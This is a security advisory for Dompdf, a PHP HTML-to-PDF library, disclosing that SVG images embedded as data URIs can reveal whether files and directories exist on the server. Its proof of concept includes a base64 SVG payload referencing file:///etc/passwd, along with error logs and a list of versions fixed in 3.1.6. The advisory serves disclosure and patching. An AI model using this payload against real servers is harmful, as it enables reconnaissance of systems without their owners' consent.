Dompdf: Embedded SVG images can leak existence of files and directories within the filesystem
The advisory, in context
Summary
If a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document.
Details
Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem.
[Wed May 20 19:49:53 2026] PHP Warning: file_get_contents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173
[Wed May 20 19:49:53 2026] PHP Notice: getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196
PoC
First, the attacker renders this HTML document:
<html>
<head>
</head>
<body>
<img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxpbWFnZSB4bGluazpocmVmPSJmaWxlOi8vL2V0Yy9wYXNzd2QiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KICAgIDwvc3ZnPgo=">
Hello World!
</body>
</html>
The <img> tag contains the following SVG content:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="file:///etc/passwd" x="0" y="0" width="100" height="100">
</svg>
As expected, the resulting PDF contains a broken image: <img width="621" height="193" alt="image" src="https://github.com/user-attachments/assets/b615fabe-c578-4435-bcb4-e9ad0ac796d2" />
However, when supplying a path to a file or directory that does not exist, for example:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="file:///DOESNOTEXIST" x="0" y="0" width="100" height="100">
</svg>
The resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the "Hello World!" text 180 degrees from the expected position:
<img width="616" height="922" alt="image" src="https://github.com/user-attachments/assets/32f83aa5-8115-4b0f-8ac2-f7b75e2eeaa9" />
Impact
By exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
Earlier releases before 3.1.6
Fixed in 3.1.6
39 explicitly affected versions
v0.6.0, v0.6.1, v0.6.2, v0.7.0, v0.7.0-beta, v0.7.0-beta2, v0.7.0-beta3, v0.8.0, v0.8.1, v0.8.2, v0.8.3, v0.8.4, v0.8.5, v0.8.6, v1.0.0, v1.0.1, v1.0.2, v1.1.0, v1.1.1, v1.2.0, v1.2.1, v1.2.2, v2.0.0, v2.0.1, v2.0.2, v2.0.3, v2.0.4, v2.0.5, v2.0.7, v2.0.8, v3.0.0, v3.0.1, v3.0.2, v3.1.0, v3.1.1, v3.1.2, v3.1.3, v3.1.4, v3.1.5
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.6"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"v0.6.0",
"v0.6.1",
"v0.6.2",
"v0.7.0",
"v0.7.0-beta",
"v0.7.0-beta2",
"v0.7.0-beta3",
"v0.8.0",
"v0.8.1",
"v0.8.2",
"v0.8.3",
"v0.8.4",
"v0.8.5",
"v0.8.6",
"v1.0.0",
"v1.0.1",
"v1.0.2",
"v1.1.0",
"v1.1.1",
"v1.2.0",
"v1.2.1",
"v1.2.2",
"v2.0.0",
"v2.0.1",
"v2.0.2",
"v2.0.3",
"v2.0.4",
"v2.0.5",
"v2.0.7",
"v2.0.8",
"v3.0.0",
"v3.0.1",
"v3.0.2",
"v3.1.0",
"v3.1.1",
"v3.1.2",
"v3.1.3",
"v3.1.4",
"v3.1.5"
]
}